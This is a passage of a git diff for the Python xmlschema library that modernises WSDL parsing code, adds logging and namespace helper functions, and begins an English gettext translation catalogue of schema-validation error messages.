xsd_types[type_name] except KeyError: self.parts[part_name] = xsd_types[XSD_ANY_TYPE] - msg = "missing schema type {!r}".format(type_name) + msg = f"missing schema type {type_name!r}" wsdl_document.parse_error(msg) class WsdlPortType(WsdlComponent): def __init__(self, elem, wsdl_document): - super(WsdlPortType, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) self.operations = {} for child in elem.iterfind(WSDL_OPERATION): @@ -184,7 +184,7 @@ class WsdlOperation(WsdlComponent): soap_operation = None def __init__(self, elem, wsdl_document): - super(WsdlOperation, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) self.faults = {} input_child = elem.find(WSDL_INPUT) @@ -244,7 +244,7 @@ class WsdlMessageReference(WsdlComponent): message = None def __init__(self, elem, wsdl_document): - super(WsdlMessageReference, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) message_name = self._parse_reference(elem, 'message') try: self.message = wsdl_document.maps.messages[message_name] @@ -288,7 +288,7 @@ class SoapBody(SoapParameter): """Class for soap:body bindings.""" def __init__(self, elem, wsdl_document): - super(SoapBody, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) self.parts = elem.get('parts', '').split() @@ -301,7 +301,7 @@ class SoapHeader(WsdlMessageReference, SoapParameter): part = None def __init__(self, elem, wsdl_document): - super(SoapHeader, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) if self.message is not None and 'part' in elem.attrib: try: self.part = self.message.parts[elem.attrib['part']] @@ -327,7 +327,7 @@ class WsdlBinding(WsdlComponent): """The SOAP binding element if any, `None` otherwise.""" def __init__(self, elem, wsdl_document): - super(WsdlBinding, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) self.operations = {} if wsdl_document.soap_binding: @@ -422,7 +422,7 @@ class WsdlPort(WsdlComponent): soap_location = None def __init__(self, elem, wsdl_document): - super(WsdlPort, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) binding_name = self._parse_reference(elem, 'binding') try: @@ -441,7 +441,7 @@ def __init__(self, elem, wsdl_document): class WsdlService(WsdlComponent): def __init__(self, elem, wsdl_document): - super(WsdlService, self).__init__(elem, wsdl_document) + super().__init__(elem, wsdl_document) self.ports = {} for port_child in elem.iterfind(WSDL_PORT): @@ -463,8 +463,11 @@ class Wsdl11Document(XmlDocument): :param source: a string containing XML data or a file path or an URL or a \ file like object or an ElementTree or an Element. + :param schema: additional schema for providing XSD types and elements to the \ + WSDL document. Can be a :class:`xmlschema.XMLSchema` instance or a file-like \ + object or a file path or a URL of a resource or a string containing the XSD schema. :param cls: class to use for building the schema instance (for default \ - :class:`XMLSchema10` is used). + :class:`xmlschema.XMLSchema10` is used). :param validation: the XSD validation mode to use for validating the XML document, \ that can be 'strict' (default), 'lax' or 'skip'. :param maps: WSDL definitions shared maps. @@ -479,24 +482,37 @@ class Wsdl11Document(XmlDocument): target_namespace = '' soap_binding = False - def __init__(self, source, cls=None, validation='strict', namespaces=None, maps=None, - locations=None, base_url=None, allow='all', defuse='remote', timeout=300): + def __init__(self, source, schema=None, cls=None, validation='strict', + namespaces=None, maps=None, locations=None, base_url=None, + allow='all', defuse='remote', timeout=300): - if maps is None: + if maps is not None: + self.maps = maps + self.schema = maps.wsdl_document.schema + else: if cls is None: cls = XMLSchema10 - self.schema = cls(source=os.path.join(SCHEMAS_DIR, 'WSDL/wsdl.xsd')) + + if isinstance(schema, XMLSchemaBase): + cls = schema.__class__ + global_maps = schema.maps + elif schema is not None: + global_maps = cls(schema).maps + else: + global_maps = None + + self.schema = cls( + source=os.path.join(SCHEMAS_DIR, 'WSDL/wsdl.xsd'), + global_maps=global_maps, + ) self.maps = Wsdl11Maps(self) - else: - self.schema = maps.wsdl_document.schema - self.maps = maps if locations: self.locations = NamespaceResourcesMap(locations) else: self.locations = NamespaceResourcesMap() - super(Wsdl11Document, self).__init__( + super().__init__( source=source, schema=self.schema, validation=validation, @@ -535,9 +551,9 @@ def services(self): def parse(self, source, lazy=False): if lazy: - raise WsdlParseError("{!r} instance cannot be lazy".format(self.__class__)) + raise WsdlParseError(f"{self.__class__!r} instance cannot be lazy") - super(Wsdl11Document, self).parse(source, lazy) + super().parse(source, lazy) self.target_namespace = self._root.get('targetNamespace', '') self.soap_binding = SOAP_NAMESPACE in self.namespaces.values() @@ -562,7 +578,7 @@ def parse_error(self, message): self.errors.append(WsdlParseError(message)) def _parse_types(self): - path = '{}/{}'.format(WSDL_TYPES, XSD_SCHEMA) + path = f'{WSDL_TYPES}/{XSD_SCHEMA}' for child in self._root.iterfind(path): source = self.subresource(child) @@ -572,7 +588,7 @@ def _parse_messages(self): for child in self.iterfind(WSDL_MESSAGE): message = WsdlMessage(child, self) if message.name in self.maps.messages: - self.parse_error("duplicated message {!r}".format(message.prefixed_name)) + self.parse_error(f"duplicated message {message.prefixed_name!r}") else: self.maps.messages[message.name] = message @@ -580,7 +596,7 @@ def _parse_port_types(self): for child in self.iterfind(WSDL_PORT_TYPE): port_type = WsdlPortType(child, self) if port_type.name in self.maps.port_types: - self.parse_error("duplicated port type {!r}".format(port_type.prefixed_name)) + self.parse_error(f"duplicated port type {port_type.prefixed_name!r}") else: self.maps.port_types[port_type.name] = port_type @@ -588,7 +604,7 @@ def _parse_bindings(self): for child in self.iterfind(WSDL_BINDING): binding = WsdlBinding(child, self) if binding.name in self.maps.bindings: - self.parse_error("duplicated binding {!r}".format(binding.prefixed_name)) + self.parse_error(f"duplicated binding {binding.prefixed_name!r}") else: self.maps.bindings[binding.name] = binding @@ -596,7 +612,7 @@ def _parse_services(self): for child in self.iterfind(WSDL_SERVICE): service = WsdlService(child, self) if service.name in self.maps.services: - self.parse_error("duplicated service {!r}".format(service.prefixed_name)) + self.parse_error(f"duplicated service {service.prefixed_name!r}") else: self.maps.services[service.name] = service @@ -617,11 +633,11 @@ def _parse_imports(self): for url in locations: try: self.import_namespace(namespace, url, self.base_url) - except (OSError, IOError) as err: + except OSError as err: if import_error is None: import_error = err except SyntaxError as err: - msg = "cannot import namespace %r: %s." % (namespace, err) + msg = f"cannot import namespace {namespace!r}: {err}." self.parse_error(msg) except XMLSchemaValueError as err: self.parse_error(err) @@ -642,7 +658,7 @@ def import_namespace(self, namespace, location, base_url=None): elif namespace in self.maps.imports: return self.maps.imports[namespace] - url = fetch_resource(location, base_url or self.base_url) + url = normalize_url(location, base_url or self.base_url) wsdl_document = self.__class__( source=url, maps=self.maps, diff --git a/xmlschema/helpers.py b/xmlschema/helpers.py index 649d515..fef105c 100644 --- a/xmlschema/helpers.py +++ b/xmlschema/helpers.py @@ -8,16 +8,76 @@ # @author Davide Brunato <brunato@sissa.it> # import re +import os +import logging +import traceback from collections import Counter from decimal import Decimal -from typing import Any, Callable, Iterator, List, MutableMapping, \ - Optional, Tuple, Union +from functools import wraps +from typing import Any, Callable, Iterable, Iterator, List, MutableMapping, \ + MutableSequence, Optional, Tuple, TypeVar, Union +from xml.etree.ElementTree import ParseError + from .exceptions import XMLSchemaValueError, XMLSchemaTypeError -from .names import XSI_SCHEMA_LOCATION, XSI_NONS_SCHEMA_LOCATION +from .names import XML_NAMESPACE, XSI_SCHEMA_LOCATION, XSI_NONS_SCHEMA_LOCATION from .aliases import ElementType, NamespacesType, AtomicValueType, NumericValueType +from .translation import gettext as _ ### -# Helper functions for QNames +# Helper functions for logging + +logger = logging.getLogger('xmlschema') + +LOG_LEVELS = {'DEBUG', 'INFO', 'WARN', 'WARNING', 'ERROR', 'CRITICAL'} + + +def set_logging_level(level: Union[str, int]) -> None: + """Set logging level of xmlschema's logger.""" + if isinstance(level, str): + _level = level.strip().upper() + if _level not in LOG_LEVELS: + raise XMLSchemaValueError( + _("{!r} is not a valid loglevel").format(level) + ) + logger.setLevel(getattr(logging, _level)) + else: + logger.setLevel(level) + + +RT = TypeVar('RT') + + +def logged(func: Callable[..., RT]) -> Callable[..., RT]: + """ + A decorator for activating a logging level for a function. The keyword + argument 'loglevel' is obtained from the keyword arguments and used by the + wrapper function to set the logging level of the decorated function and + to restore the original level after the call. + """ + @wraps(func) + def wrapper(*args: Any, **kwargs: Any) -> Any: + loglevel: Optional[Union[int, str]] = kwargs.get('loglevel') + if loglevel is None: + return func(*args, **kwargs) + else: + current_level = logger.level + set_logging_level(loglevel) + try: + return func(*args, **kwargs) + finally: + logger.setLevel(current_level) + + return wrapper + + +def format_xmlschema_stack() -> str: + """Extract a formatted traceback for xmlschema package from current stack frame.""" + package_path = os.path.dirname(__file__) + return ''.join(line for line in traceback.format_stack()[:-1] if package_path in line) + + +### +# Helper functions for QNames and namespaces NAMESPACE_PATTERN = re.compile(r'{([^}]*)}') @@ -52,10 +112,10 @@ def get_qname(uri: Optional[str], name: str) -> str: :param name: local or qualified name :return: string or the name argument """ - if not uri or not name or name[0] in ('{', '.', '/', '['): + if not uri or not name or name[0] in '{./[': return name else: - return '{%s}%s' % (uri, name) + return f'{{{uri}}}{name}' def local_name(qname: str) -> str: @@ -67,15 +127,15 @@ def local_name(qname: str) -> str: """ try: if qname[0] == '{': - _, qname = qname.split('}') + _namespace, qname = qname.split('}') elif ':' in qname: - _, qname = qname.split(':') + _prefix, qname = qname.split(':') except IndexError: return '' except ValueError: - raise XMLSchemaValueError("the argument 'qname' has a wrong format: %r" % qname) + raise XMLSchemaValueError("the argument 'qname' has an invalid value %r" % qname) except TypeError: - raise XMLSchemaTypeError("the argument 'qname' must be a string") + raise XMLSchemaTypeError("the argument 'qname' must be a string-like object") else: return qname @@ -99,9 +159,9 @@ def get_prefixed_qname(qname: str, if not prefixes: return qname elif prefixes[0]: - return '%s:%s' % (prefixes[0], qname.split('}', 1)[1]) + return f"{prefixes[0]}:{qname.split('}', 1)[1]}" elif len(prefixes) > 1: - return '%s:%s' % (prefixes[1], qname.split('}', 1)[1]) + return f"{prefixes[1]}:{qname.split('}', 1)[1]}" elif use_empty: return qname.split('}', 1)[1] else: @@ -131,14 +191,65 @@ def get_extended_qname(qname: str, namespaces: Optional[MutableMapping[str, str] if not namespaces.get(''): return qname else: - return '{%s}%s' % (namespaces[''], qname) + return f"{{{namespaces['']}}}{qname}" else: try: uri = namespaces[prefix] except KeyError: return qname else: - return '{%s}%s' % (uri, name) if uri else name + return f'{{{uri}}}{name}' if uri else name + + +def update_namespaces(namespaces: NamespacesType, + xmlns: Iterable[Tuple[str, str]], + root_declarations: bool = False) -> None: + """ + Update a namespace map without overwriting existing declarations. + If a duplicate prefix is encountered in a xmlns declaration, and + this is mapped to a different namespace, adds the namespace using + a different generated prefix. The empty prefix '' is used only if + it's declared at root level to avoid erroneous mapping of local + names. In other cases it uses the prefix 'default' as substitute. + + :param namespaces: the target namespace map. + :param xmlns: an iterable containing couples of namespace declarations. + :param root_declarations: provide `True` if the namespace declarations \ + belong to the root element, `False` otherwise (default). + """ + for prefix, uri in xmlns: + if not prefix: + if not uri: + continue + elif '' not in namespaces: + if root_declarations: + namespaces[''] = uri + continue + elif namespaces[''] == uri: + continue + prefix = 'default' + + while prefix in namespaces: + if namespaces[prefix] == uri: + break + match = re.search(r'(\d+)$', prefix) + if match: + index = int(match.group()) + 1 + prefix = prefix[:match.span()[0]] + str(index) + else: + prefix += '0' + else: + namespaces[prefix] = uri + + +def get_namespace_map(namespaces: Optional[NamespacesType]) -> NamespacesType: + """Returns a new and checked namespace map.""" + namespaces = {k: v for k, v in namespaces.items()} if namespaces else {} + if namespaces.get('xml', XML_NAMESPACE) != XML_NAMESPACE: + msg = f"reserved prefix 'xml' can be used only for {XML_NAMESPACE!r} namespace" + raise XMLSchemaValueError(msg) + + return namespaces ### @@ -184,11 +295,11 @@ def etree_iterpath(elem: ElementType, for child in elem: if callable(child.tag): - continue # Skip lxml comments + continue # Skip comments and PIs child_name = child.tag if namespaces is None else get_prefixed_qname(child.tag, namespaces) if path == '/': - child_path = '/%s' % child_name + child_path = f'/{child_name}' else: child_path = '/'.join((path, child_name)) @@ -219,9 +330,9 @@ def etree_getpath(elem: ElementType, if relative: path = '.' elif namespaces: - path = '/%s' % get_prefixed_qname(root.tag, namespaces) + path = f'/{get_prefixed_qname(root.tag, namespaces)}' else: - path = '/%s' % root.tag + path = f'/{root.tag}' if not parent_path: for e, path in etree_iterpath(root, elem.tag, path, namespaces, add_position): @@ -246,10 +357,31 @@ def etree_iter_location_hints(elem: ElementType) -> Iterator[Tuple[Any, Any]]: yield '', url +def etree_iter_namespaces(root: ElementType, + elem: Optional[ElementType] = None) -> Iterator[str]: + """ + Yields namespaces of an ElementTree structure. If an *elem* is + provided stops when found if during the iteration. + """ + if root.tag != '{' and root is not elem: + yield '' + + for e in root.iter(): + if e is elem: + return + elif e.tag[0] == '{': + yield get_namespace(e.tag) + + if e.attrib: + for name in e.attrib: + if name[0] == '{': + yield get_namespace(name) + + def prune_etree(root: ElementType, selector: Callable[[ElementType], bool]) \ -> Optional[bool]: """ - Removes from an tree structure the elements that verify the selector + Removes from a tree structure the elements that verify the selector function. The checking and eventual removals are performed using a breadth-first visit method. @@ -321,3 +453,33 @@ def raw_xml_encode(value: Union[None, AtomicValueType, List[AtomicValueType], return ' '.join(str(e) for e in value) else: return str(value) if value is not None else None + + +def is_defuse_error(err: Exception) -> bool: + """ + Returns `True` if the error is related to defuse of XML data in the DTD + of the source (forbid entities or external references), `False` otherwise. + """ + if not isinstance(err, ParseError): + return False + + msg = str(err) + return "Entities are forbidden" in msg or \ + "Unparsed entities are forbidden" in msg or \ + "External references are forbidden" in msg + + +def iter_decoded_data(obj: Any, level: int = 0) \ + -> Iterator[Tuple[Union[MutableMapping[Any, Any], MutableSequence[Any]], int]]: + """ + Iterates a nested object composed by lists and dictionaries, + pairing with the level depth. + """ + if isinstance(obj, MutableMapping): + yield obj, level + for value in obj.values(): + yield from iter_decoded_data(value, level + 1) + elif isinstance(obj, MutableSequence): + yield obj, level + for item in obj: + yield from iter_decoded_data(item, level + 1) diff --git a/xmlschema/locale/en/LC_MESSAGES/xmlschema.mo b/xmlschema/locale/en/LC_MESSAGES/xmlschema.mo new file mode 100644 index 0000000..98ddf79 Binary files /dev/null and b/xmlschema/locale/en/LC_MESSAGES/xmlschema.mo differ diff --git a/xmlschema/locale/en/LC_MESSAGES/xmlschema.po b/xmlschema/locale/en/LC_MESSAGES/xmlschema.po new file mode 100644 index 0000000..bfd6589 --- /dev/null +++ b/xmlschema/locale/en/LC_MESSAGES/xmlschema.po @@ -0,0 +1,1767 @@ +# English translations for xmlschema package. +# Copyright (C) 2022 , 2016, SISSA (International School for Advanced Studies). +# This file is distributed under the same license as the xmlschema package. +# Davide Brunato <brunato@sissa.it>, 2022. +# +msgid "" +msgstr "" +"Project-Id-Version: xmlschema\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2022-05-12 17:25+0200\n" +"PO-Revision-Date: 2022-05-12 17:30+0200\n" +"Last-Translator: Davide Brunato <brunato@sissa.it>\n" +"Language-Team: English\n" +"Language: en\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +#: xmlschema/validators/complex_types.py:134 +msgid "missing attribute 'name' in a global complexType" +msgstr "missing attribute 'name' in a global complexType" + +#: xmlschema/validators/complex_types.py:139 +msgid "attribute 'name' not allowed in a local complexType" +msgstr "attribute 'name' not allowed in a local complexType" + +#: xmlschema/validators/complex_types.py:162 +msgid "'mixed' attribute not allowed with simpleContent" +msgstr "'mixed' attribute not allowed with simpleContent" + +#: xmlschema/validators/complex_types.py:177 +#, python-format +msgid "unexpected tag %r after simpleContent declaration:" +msgstr "unexpected tag %r after simpleContent declaration:" + +#: xmlschema/validators/complex_types.py:188 +msgid "" +"value of 'mixed' attribute in complexType and complexContent must be the same" +msgstr "" +"value of 'mixed' attribute in complexType and complexContent must be the same" + +#: xmlschema/validators/complex_types.py:208 +#, python-format +msgid "unexpected tag %r after complexContent declaration" +msgstr "unexpected tag %r after complexContent declaration" + +#: xmlschema/validators/complex_types.py:232 +#, python-format +msgid "unexpected tag %r for complexType content" +msgstr "unexpected tag %r for complexType content" + +#: xmlschema/validators/complex_types.py:240 +#: xmlschema/validators/simple_types.py:1227 +msgid "wrong definition with self-reference" +msgstr "wrong definition with self-reference" + +#: xmlschema/validators/complex_types.py:243 +#: xmlschema/validators/simple_types.py:1234 +msgid "wrong redefinition without self-reference" +msgstr "wrong redefinition without self-reference" + +#: xmlschema/validators/complex_types.py:254 +msgid "restriction or extension tag expected" +msgstr "restriction or extension tag expected" + +#: xmlschema/validators/complex_types.py:261 +msgid "{!r} is expected to have a redefined/overridden component" +msgstr "{!r} is expected to have a redefined/overridden component" + +#: xmlschema/validators/complex_types.py:266 +msgid "{0!r} derivation not allowed for {1!r}" +msgstr "{0!r} derivation not allowed for {1!r}" + +#: xmlschema/validators/complex_types.py:276 +msgid "'base' attribute required" +msgstr "'base' attribute required" + +#: xmlschema/validators/complex_types.py:285 +#, python-format +msgid "missing base type %r" +msgstr "missing base type %r" + +#: xmlschema/validators/complex_types.py:293 +#: xmlschema/validators/simple_types.py:1247 +msgid "circular definition found between {0!r} and {1!r}" +msgstr "circular definition found between {0!r} and {1!r}" + +#: xmlschema/validators/complex_types.py:297 +#: xmlschema/validators/complex_types.py:311 +msgid "a complexType ancestor required: {!r}" +msgstr "a complexType ancestor required: {!r}" + +#: xmlschema/validators/complex_types.py:302 +#, python-format +msgid "derivation by %r blocked by attribute 'final' in base type" +msgstr "derivation by %r blocked by attribute 'final' in base type" + +#: xmlschema/validators/complex_types.py:319 +msgid "a not empty simpleContent cannot restrict an empty content type" +msgstr "a not empty simpleContent cannot restrict an empty content type" + +#: xmlschema/validators/complex_types.py:326 +msgid "content type is not a restriction of base content" +msgstr "content type is not a restriction of base content" + +#: xmlschema/validators/complex_types.py:332 +msgid "with simpleContent cannot restrict an element-only content type" +msgstr "with simpleContent cannot restrict an element-only content type" + +#: xmlschema/validators/complex_types.py:344 xmlschema/validators/groups.py:478 +#, python-format +msgid "unexpected tag %r" +msgstr "unexpected tag %r" + +#: xmlschema/validators/complex_types.py:354 +#, python-format +msgid "base type %r has no simple content" +msgstr "base type %r has no simple content" + +#: xmlschema/validators/complex_types.py:362 +msgid "the base type is not derivable by restriction" +msgstr "the base type is not derivable by restriction" + +#: xmlschema/validators/complex_types.py:365 +#: xmlschema/validators/complex_types.py:458 +#: xmlschema/validators/complex_types.py:896 +#, python-format +msgid "base %r is simple or has a simple content" +msgstr "base %r is simple or has a simple content" + +#: xmlschema/validators/complex_types.py:377 +#, python-brace-format +msgid "" +"restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" +msgstr "" +"restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" + +#: xmlschema/validators/complex_types.py:389 +msgid "derived a mixed content from a base type that has element-only content" +msgstr "derived a mixed content from a base type that has element-only content" + +#: xmlschema/validators/complex_types.py:392 +msgid "an empty content derivation from base type that has not empty content" +msgstr "an empty content derivation from base type that has not empty content" + +#: xmlschema/validators/complex_types.py:403 +msgid "{0!r} is not a restriction of the base type {1!r}" +msgstr "{0!r} is not a restriction of the base type {1!r}" + +#: xmlschema/validators/complex_types.py:412 +#: xmlschema/validators/complex_types.py:901 +msgid "the base type is not derivable by extension" +msgstr "the base type is not derivable by extension" + +#: xmlschema/validators/complex_types.py:445 +#: xmlschema/validators/complex_types.py:952 +#: xmlschema/validators/complex_types.py:1002 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty." +msgstr "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty." + +#: xmlschema/validators/complex_types.py:465 +msgid "cannot extend a complex content with xs:all" +msgstr "cannot extend a complex content with xs:all" + +#: xmlschema/validators/complex_types.py:468 +msgid "xs:sequence cannot extend xs:all" +msgstr "xs:sequence cannot extend xs:all" + +#: xmlschema/validators/complex_types.py:478 +msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" +msgstr "XSD 1.0 does not allow extension of a not empty 'all' model group" + +#: xmlschema/validators/complex_types.py:481 +#, python-format +msgid "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty" +msgstr "" +"base has a different content type (mixed=%r) and the extension group is not " +"empty" + +#: xmlschema/validators/complex_types.py:495 +#: xmlschema/validators/complex_types.py:1017 +msgid "extended type has a mixed content but the base is element-only" +msgstr "extended type has a mixed content but the base is element-only" + +#: xmlschema/validators/complex_types.py:655 +msgid "global type {!r} is not built" +msgstr "global type {!r} is not built" + +#: xmlschema/validators/complex_types.py:721 +#: xmlschema/validators/complex_types.py:746 +#, python-format +msgid "cannot decode %(obj)r data with %(decoder)r" +msgstr "cannot decode %(obj)r data with %(decoder)r" + +#: xmlschema/validators/complex_types.py:847 +msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" +msgstr "the simple content of {!r} is not a valid simple type in XSD 1.1" + +#: xmlschema/validators/complex_types.py:854 +msgid "openContent mismatch between type and model group" +msgstr "openContent mismatch between type and model group" + +#: xmlschema/validators/complex_types.py:869 +#, python-format +msgid "attribute %r must be inheritable" +msgstr "attribute %r must be inheritable" + +#: xmlschema/validators/complex_types.py:885 +msgid "default attribute {!r} is already declared in the complex type" +msgstr "default attribute {!r} is already declared in the complex type" + +#: xmlschema/validators/complex_types.py:956 +msgid "cannot extend an empty mixed content with an xs:all" +msgstr "cannot extend an empty mixed content with an xs:all" + +#: xmlschema/validators/complex_types.py:974 +#, python-format +msgid "xs:all cannot extend a not empty xs:%s" +msgstr "xs:all cannot extend a not empty xs:%s" + +#: xmlschema/validators/complex_types.py:989 +msgid "cannot extend a not empty 'all' model group with a different model" +msgstr "cannot extend a not empty 'all' model group with a different model" + +#: xmlschema/validators/complex_types.py:992 +msgid "when extend an xs:all group minOccurs must be the same" +msgstr "when extend an xs:all group minOccurs must be the same" + +#: xmlschema/validators/complex_types.py:995 +msgid "cannot extend an xs:all group with mixed empty content" +msgstr "cannot extend an xs:all group with mixed empty content" + +#: xmlschema/validators/complex_types.py:1035 +msgid "{0!r} is not an extension of the base type {1!r}" +msgstr "{0!r} is not an extension of the base type {1!r}" + +#: xmlschema/validators/notations.py:39 +msgid "a notation declaration must be global" +msgstr "a notation declaration must be global" + +#: xmlschema/validators/notations.py:43 +msgid "a notation must have a 'name' attribute" +msgstr "a notation must have a 'name' attribute" + +#: xmlschema/validators/notations.py:46 +msgid "a notation must have a 'public' or a 'system' attribute" +msgstr "a notation must have a 'public' or a 'system' attribute" + +#: xmlschema/validators/particles.py:122 +msgid "minOccurs value is not an integer value" +msgstr "minOccurs value is not an integer value" + +#: xmlschema/validators/particles.py:126 +msgid "minOccurs value must be a non negative integer" +msgstr "minOccurs value must be a non negative integer" + +#: xmlschema/validators/particles.py:134 +msgid "minOccurs must be lesser or equal than maxOccurs" +msgstr "minOccurs must be lesser or equal than maxOccurs" + +#: xmlschema/validators/particles.py:142 +msgid "maxOccurs value must be a non negative integer or 'unbounded'" +msgstr "maxOccurs value must be a non negative integer or 'unbounded'" + +#: xmlschema/validators/particles.py:146 +msgid "maxOccurs must be 'unbounded' or greater than minOccurs" +msgstr "maxOccurs must be 'unbounded' or greater than minOccurs" + +#: xmlschema/validators/assertions.py:76 +msgid "base_type={!r} is not a complexType definition" +msgstr "base_type={!r} is not a complexType definition" + +#: xmlschema/validators/elements.py:162 +#, python-format +msgid "unknown element %r" +msgstr "unknown element %r" + +#: xmlschema/validators/elements.py:179 +msgid "attribute {!r} is not allowed when element reference is used" +msgstr "attribute {!r} is not allowed when element reference is used" + +#: xmlschema/validators/elements.py:200 +msgid "local scope elements cannot have abstract attribute" +msgstr "local scope elements cannot have abstract attribute" + +#: xmlschema/validators/elements.py:227 +msgid "attribute {!r} is not allowed in a global element declaration" +msgstr "attribute {!r} is not allowed in a global element declaration" + +#: xmlschema/validators/elements.py:232 +msgid "attribute {!r} not allowed in a local element declaration" +msgstr "attribute {!r} not allowed in a local element declaration" + +#: xmlschema/validators/elements.py:250 xmlschema/validators/elements.py:1460 +#: xmlschema/validators/simple_types.py:859 +#: xmlschema/validators/simple_types.py:1024 +#: xmlschema/validators/simple_types.py:1240 +msgid "unknown type {!r}" +msgstr "unknown type {!r}" + +#: xmlschema/validators/elements.py:255 +msgid "" +"the attribute 'type' and a xs:{} local declaration are mutually exclusive" +msgstr "" +"the attribute 'type' and a xs:{} local declaration are mutually exclusive" + +#: xmlschema/validators/elements.py:274 xmlschema/validators/attributes.py:165 +msgid "'default' and 'fixed' attributes are mutually exclusive" +msgstr "'default' and 'fixed' attributes are mutually exclusive" + +#: xmlschema/validators/elements.py:278 +msgid "'default' value {!r} is not compatible with element's type" +msgstr "'default' value {!r} is not compatible with element's type" + +#: xmlschema/validators/elements.py:282 +msgid "xs:ID or a type derived from xs:ID cannot have a default value" +msgstr "xs:ID or a type derived from xs:ID cannot have a default value" + +#: xmlschema/validators/elements.py:288 +msgid "'fixed' value {!r} is not compatible with element's type" +msgstr "'fixed' value {!r} is not compatible with element's type" + +#: xmlschema/validators/elements.py:292 +msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" +msgstr "xs:ID or a type derived from xs:ID cannot have a fixed value" + +#: xmlschema/validators/elements.py:311 xmlschema/validators/elements.py:319 +#, python-format +msgid "duplicated identity constraint %r:" +msgstr "duplicated identity constraint %r:" + +#: xmlschema/validators/elements.py:341 +#, python-format +msgid "unknown substitutionGroup %r" +msgstr "unknown substitutionGroup %r" + +#: xmlschema/validators/elements.py:346 +#, python-format +msgid "circularity found for substitutionGroup %r" +msgstr "circularity found for substitutionGroup %r" + +#: xmlschema/validators/elements.py:361 +msgid "" +"{0!r} type is not of the same or a derivation of the head element {1!r} type" +msgstr "" +"{0!r} type is not of the same or a derivation of the head element {1!r} type" + +#: xmlschema/validators/elements.py:365 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a derivation of " +"its type" +msgstr "" +"head element %r can't be substituted by an element that has a derivation of " +"its type" + +#: xmlschema/validators/elements.py:369 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has an extension of " +"its type" +msgstr "" +"head element %r can't be substituted by an element that has an extension of " +"its type" + +#: xmlschema/validators/elements.py:373 +#, python-format +msgid "" +"head element %r can't be substituted by an element that has a restriction of " +"its type" +msgstr "" +"head element %r can't be substituted by an element that has a restriction of " +"its type" + +#: xmlschema/validators/elements.py:547 +msgid "schemaLocation declaration after namespace start" +msgstr "schemaLocation declaration after namespace start" + +#: xmlschema/validators/elements.py:556 +#, python-format +msgid "missing dynamic loaded schema from %s" +msgstr "missing dynamic loaded schema from %s" + +#: xmlschema/validators/elements.py:559 +msgid "dynamic loaded schema change the assessment" +msgstr "dynamic loaded schema change the assessment" + +#: xmlschema/validators/elements.py:610 +msgid "cannot use an abstract element for validation" +msgstr "cannot use an abstract element for validation" + +#: xmlschema/validators/elements.py:667 xmlschema/validators/identities.py:219 +msgid "selector xpath expression can only select elements" +msgstr "selector xpath expression can only select elements" + +#: xmlschema/validators/elements.py:673 +#, python-format +msgid "usage of %r is blocked" +msgstr "usage of %r is blocked" + +#: xmlschema/validators/elements.py:677 +#, python-format +msgid "%r is abstract" +msgstr "%r is abstract" + +#: xmlschema/validators/elements.py:705 +msgid "element is not nillable" +msgstr "element is not nillable" + +#: xmlschema/validators/elements.py:708 +msgid "xsi:nil attribute must have a boolean value" +msgstr "xsi:nil attribute must have a boolean value" + +#: xmlschema/validators/elements.py:713 +msgid "xsi:nil='true' but the element has a fixed value" +msgstr "xsi:nil='true' but the element has a fixed value" + +#: xmlschema/validators/elements.py:716 +msgid "xsi:nil='true' but the element is not empty" +msgstr "xsi:nil='true' but the element is not empty" + +#: xmlschema/validators/elements.py:722 +msgid "character data is not allowed because content is empty" +msgstr "character data is not allowed because content is empty" + +#: xmlschema/validators/elements.py:744 xmlschema/validators/elements.py:760 +#, python-format +msgid "must have the fixed value %r" +msgstr "must have the fixed value %r" + +#: xmlschema/validators/elements.py:749 +msgid "a simple content element can't have child elements" +msgstr "a simple content element can't have child elements" + +#: xmlschema/validators/elements.py:778 xmlschema/validators/attributes.py:237 +msgid "" +"cannot validate against xs:NOTATION directly, only against a subtype with an " +"enumeration facet" +msgstr "" +"cannot validate against xs:NOTATION directly, only against a subtype with an " +"enumeration facet" + +#: xmlschema/validators/elements.py:782 xmlschema/validators/attributes.py:241 +msgid "missing enumeration facet in xs:NOTATION subtype" +msgstr "missing enumeration facet in xs:NOTATION subtype" + +#: xmlschema/validators/elements.py:1245 +msgid "test attribute missing in non-final alternative" +msgstr "test attribute missing in non-final alternative" + +#: xmlschema/validators/elements.py:1370 +msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}" +msgstr "Maybe a not equivalent type table between elements {0!r} and {1!r}" + +#: xmlschema/validators/elements.py:1446 +msgid "missing 'type' attribute" +msgstr "missing 'type' attribute" + +#: xmlschema/validators/elements.py:1454 +msgid "declared type is not derived from {!r}" +msgstr "declared type is not derived from {!r}" + +#: xmlschema/validators/elements.py:1464 +msgid "type {0!r} is not derived from {1!r}" +msgstr "type {0!r} is not derived from {1!r}" + +#: xmlschema/validators/elements.py:1469 +#, python-format +msgid "" +"the attribute 'type' and the xs:%s local declaration are mutually exclusive" +msgstr "" +"the attribute 'type' and the xs:%s local declaration are mutually exclusive" + +#: xmlschema/validators/global_maps.py:77 +msgid "global {0} with name={1!r} is already defined" +msgstr "global {0} with name={1!r} is already defined" + +#: xmlschema/validators/global_maps.py:90 +msgid "multiple redefinition for {0} {1!r}" +msgstr "multiple redefinition for {0} {1!r}" + +#: xmlschema/validators/global_maps.py:102 +msgid "circular redefinition for {0} {1!r}" +msgstr "circular redefinition for {0} {1!r}" + +#: xmlschema/validators/global_maps.py:117 +msgid "not a redefinition!" 